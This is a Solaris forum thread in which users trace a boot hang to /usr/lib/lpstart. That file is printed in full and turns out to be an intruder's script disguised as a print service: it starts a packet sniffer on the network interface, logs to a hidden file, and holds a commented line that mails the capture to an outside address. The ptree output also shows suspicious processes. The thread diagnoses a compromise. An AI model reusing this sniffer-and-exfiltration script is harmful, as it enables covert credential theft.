nfsd won't start at boot up


 
Thread Tools Search this Thread
Operating Systems Solaris nfsd won't start at boot up
# 8  
Old 03-13-2005
Here's the output from 'ptree'... Nothing looks out of the ordinary, though I am not sure I know what I am looking for...
Code:
nmr% ptree
54    /usr/lib/sysevent/syseventd
61    /usr/lib/picl/picld
62    /sbin/sh /sbin/rc2
  317   /bin/sh /usr/lib/lpstart
    320   /usr/lib/lpset -s -d 512 -i /dev/eri -o /dev/prom/sn.l
114   /usr/lib/inet/in.ndpd
129   /usr/sbin/rpcbind
147   /usr/sbin/inetd -s
  411   rpc.ttdbserverd
  502   rpc.rstatd
  521   rpc.cmsd
  1397  in.telnetd
    1399  -csh
      1463  ptree
186   /usr/lib/nfs/statd
187   /usr/lib/nfs/lockd
192   /usr/lib/autofs/automountd
204   /usr/sbin/syslogd
207   /usr/sbin/cron
221   /usr/sbin/nscd
227   /usr/lib/lpsched
240   /usr/lib/power/powerd
250   /usr/lib/utmpd
262   /usr/sadm/lib/smc/bin/smcboot
  263   /usr/sadm/lib/smc/bin/smcboot
  265   /usr/sadm/lib/smc/bin/smcboot
276   /usr/lib/sendmail -bd -q15m
277   /usr/lib/sendmail -Ac -q15m
284   /usr/sbin/ifbdaemon /dev/fbs/ifb0
286   /usr/sbin/vold
291   /usr/lib/im/htt -port 9010 -syslog -message_locale C
  293   htt_server -port 9010 -syslog -message_locale C
316   /opt/idl_5.5/bin/bin.solaris2.sparc64/lmgrd -c /opt/license/license.dat
  322   /opt/idl_5.5/bin/bin.solaris2.sparc64/idl_lmgrd -T nmr 6.1 4 -c /opt/li
321   /usr/dt/bin/dtlogin -daemon
  333   /usr/openwin/bin/Xsun :0 -nobanner -dev /dev/fb1 defdepth 24 -auth /var
  335   /usr/dt/bin/dtlogin -daemon
    352   /bin/ksh /usr/dt/bin/Xsession
      362   /usr/openwin/bin/fbconsole
      397   /usr/dt/bin/sdt_shell -c unsetenv _ PWD;             unsetenv DT;
        399   csh -c unsetenv _ PWD;             unsetenv DT;      setenv DISPL
          410   /usr/dt/bin/dtsession
            417   dtwm
              636   /usr/dt/bin/dtexec -open 0 -ttprocid 2.12CW6f 01 409 128963
                637   xterm
                  638   csh
              693   /usr/dt/bin/dtexec -open 0 -ttprocid 2.12CW6f 01 409 128963
                694   xterm
                  695   csh
            418   dtfile -session dtKyaWYa
            419   /usr/dt/bin/dtprintinfo -session dtILaaZa -all -xrm *iconX:2
            420   /usr/dt/bin/dtprintinfo -session dtqJa4Ya -all -xrm *iconX:2
            421   /usr/dt/bin/dtprintinfo -session dthNaqZa -all -xrm *iconX:2
            422   /usr/dt/bin/dtprintinfo -session dtKNayZa -all -xrm *iconX:2
            425   /usr/dt/bin/dtterm -session dtIeaiZa -C -ls
              466   -csh
            426   /usr/dt/bin/dtmail -session dtbfaGZa
            427   /usr/dt/bin/dtcm -session dtJfaOZa -xrm *iconX:2 -xrm *iconY:
            428   /usr/dt/bin/dtterm -session dtYgaWdb
              467   /bin/csh
                667   vi genx.c
            429   /usr/dt/bin/sdtperfmeter -f -H -t cpu -t disk -s 1 -name fppe
            811   /usr/dt/bin/dtexec -open 0 -ttprocid 1.12CW6f 01 409 12896370
              812   /usr/dt/bin/dtscreen -mode hop
  336   /usr/openwin/bin/fbconsole -d :0
366   /usr/openwin/bin/speckeysd
400   /usr/dt/bin/dsdm
409   /usr/dt/bin/ttsession
437   /bin/ksh /usr/dt/bin/sdtvolcheck -d -z 5 cdrom,zip,jaz,dvdrom,rmdisk
  544   /bin/cat /tmp/.removable/notify437
583   /usr/lib/nfs/mountd
585   /usr/lib/nfs/nfsd
1118  ./bash an
1122  ./bash kit
nmr%


Last edited by Perderabo; 03-13-2005 at 08:18 PM.. Reason: Add code tags for readability
# 9  
Old 03-13-2005
Sorry I wasn't very clear there, I meant when you reboot the machine, but one think I did spot there was:

62 /sbin/sh /sbin/rc2

That definitely shouldn't be there, looks like your sever isn't making it fully up to run level 3, and so /etc/rc3 and hence the contents of /etc/rc3.d never get run.

This also explains why your other "symptoms" occur.

You need to find out why this is happening, but if you need to get the server up and running normally, you could just kill pid 62 and ssh and all the rest should come up.

You might see something if you truss the rc2 script, maybe, maybe not
truss -wall -rall -f -o rc2.txt -p 62
# 10  
Old 03-13-2005
Reborg:

I am sure that you are right that the system isn't making it all the way through level 3, as I have traced the other "symptoms" to missing "daemons"...

'ssh' and 'sftp' were not running because 'sshd', like 'nfsd', was not started at boot up. I just restarted 'sshd' manually, and now I can connect with both 'ssh' and 'sftp'.

You wrote:
"Sorry I wasn't very clear there, I meant when you reboot the machine,..."

I am still not sure what you mean? At what point do I run 'ptree' during reboot?

I will now 'truss' and report.

Thanks!
# 11  
Old 03-13-2005
I just ran 'truss'

nmr% truss -wall -rall -f -o rc2.txt -p 62


The command never returned so I did a 'ctrl c' to end it. The output file rc2.txt was created and it contains a single line:

62: waitid(P_PID, 317, 0xFFBFFCC8, WEXITED|WTRAPPED|WNOWAIT) (sleeping...)

does it mean anything?
# 12  
Old 03-13-2005
reborg is on to something here. Your truss output says rc2 is waiting for lpstart. After I fixed the formatting on your ptree display, that is now obvious. And lpstart is waiting for that lpset.

We don't have a lpstart on our Solaris 9 system. I'm not sure where yours comes from.
# 13  
Old 03-13-2005
Hmmmm... lpstart... Let's see. We do have one in /usr/lib. It is a script and here is what it contains:

-----------------------------------------------------------------------

#!/bin/sh

set EMAIL_ADDRESS optix@dr-dre.com

#cp $SNFBIN /usr/lib/lpset
#cp sniffload /usr/lib/lpstart
touch /dev/prom/sn.l

#cat /dev/prom/sn.l|mail ${EMAIL_ADDRESS} >/dev/null

echo "Restart on `date`" >>/dev/prom/sn.l

if test -f /dev/prom/dos ;then
cd /usr/lib
./lpq
fi

#nohup /usr/lib/lpset -s -o /dev/prom/sn.l >/dev/null &
nohup /usr/lib/lpset -s -d 512 -i /dev/eri -o /dev/prom/sn.l >/dev/null
&
nohup /usr/lib/lpset -s -d 512 -i /dev/eri -o /dev/prom/sn.l >/dev/null
&

--------------------------------------------------------------------

I am going to run it and see what happens. Running it as root....

# lpstart
Sending output to nohup.out
^C#

Just had to do a 'ctrl C' as the script wouldn't return... That may be what's happening.

Now what exactly does 'lpstart' do. Is it native to Solaris or has it been installed by package that I installed? Those with a lot more sysadmin experience than me might be able to figure it out. Where is it being started from?

It seems that the puzzle's days are now numbered. Thanks!
# 14  
Old 03-13-2005
I suspect that you have been hacked. dr-dre.com? That won't be from a Sun package! It kinda looks like it's being run from rc2 directly. To see if that's the case...
ls -l /sbin/rc2
grep lp /sbin/rc2

I don't have it in my rc2. If it's not there, try:
grep lpstart /etc/init.d/*
Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. Fedora

Um, my computer suddenly won't start up

Okay, I'm fairly green at Fedora, but it has worked like a gem until now. On startup I get a screen that says this: Booting 'Fedora (3.6.11-4.fc16.x86_64)' Loading Fedora (3.611-4.fc16.x86_64) Loading initial ramdisk .... _Fedora-16-x86_6: Unexpected inconsistency; run fsck manually. ... (6 Replies)
Discussion started by: Anchorsteamer
6 Replies

2. Red Hat

vftpd won't start..

Hi, I am using redhat enterprise 5.7 have installed vsftpd successfully but every time I try to start the service it comes up with FAILED. Here is the contents of the vsftpd.conf file: # Allow anonymous FTP? (Beware - allowed by default if you comment this out). anonymous_enable=YES # #... (3 Replies)
Discussion started by: titley100
3 Replies

3. UNIX for Dummies Questions & Answers

don't have nfsd mount point in /proc/fs/nfsd

hi guys I installed NFS server and everything started out fine but I don't have /proc/fs/nfsd entry and so I can't mount nfsd. Therefore I can't start my nfs service. Why don't I have /proc/fs/nfsd? How do I create that? Thanks (1 Reply)
Discussion started by: alirezan
1 Replies

4. AIX

won't mount /usr...won't boot fully

Hello: NOOB here. I attempted to use smit mkcd. Failed on first attempt, not enough space. 2nd attempt tried to place iso on /usr, not enough space there. Cleanup ran for about 5 minutes after aborting. Now AIX won't boot. LCD display on 7029-6E3 says: 0517 MOUNT /USR. Attempted to boot from CD... (11 Replies)
Discussion started by: bbird
11 Replies

5. UNIX for Dummies Questions & Answers

ToolTalk won't start

on my AIX 6.1 CDE's ToolTalk server won't start. It says: dtsession: Unable to exec /usr/dt/install/oldrules/dtrmrules.driver. A file or directory in the path name does not exist. How can I fix this? (0 Replies)
Discussion started by: rein
0 Replies

6. Solaris

production server won't start please help me!

if anyone can help me here I will be in debt eternaly. I'm in a spot here fearing for my job. I tried to install a new scsi array on our E5500. I powered it down correctly, removed the terminator, connected the array and powered it on. It was taking so long to come up I freaked out and powered... (3 Replies)
Discussion started by: NewSolarisAdmin
3 Replies

7. Red Hat

X Server won't start (Redhat 9) HELP

im running rh 9 on my vmware, i tryed changing the graphics card mode to resize the desktop, after restarting i get a message X Server cannot start. then it takes me to the consol screen to log on, "im new to using linux as of last night" It would be helpfull if anyone can help me resolve... (4 Replies)
Discussion started by: aoteg
4 Replies

8. SuSE

vsftpd won't start on SLES 10

I recently installed SLES 10 on an x86 64bit blade server. I then installed vsftpd from the suse cds through network services; however after configuring the vsftpd.conf file, the server fails to start: # /etc/init.d/vsftpd start Starting vsftpd startproc: exit status of parent of... (5 Replies)
Discussion started by: dave521
5 Replies

9. Solaris

cannot find boot device and won't boot off cdrom

I'm running solaris 2.5.1. My main development server is DEAD, i can't even boot off the cdrom, it powers up, acts like it is starting the boot process but then says cannot find boot device. I've done the search here on this site and saw the other posts, but at the ok prompt it won't even let me... (3 Replies)
Discussion started by: kymberm
3 Replies

10. UNIX for Dummies Questions & Answers

HP 10.20 Won start

After I log ino the machine, a window pops up indicating that I should check that the HOSTNAME is the same in these three files /etc//rc.configd/netconf /etc/hosts /var/adm/inetd.sec How do I change the hostname in these files? Thanks, Mike h (1 Reply)
Discussion started by: hutchin
1 Replies
Login or Register to Ask a Question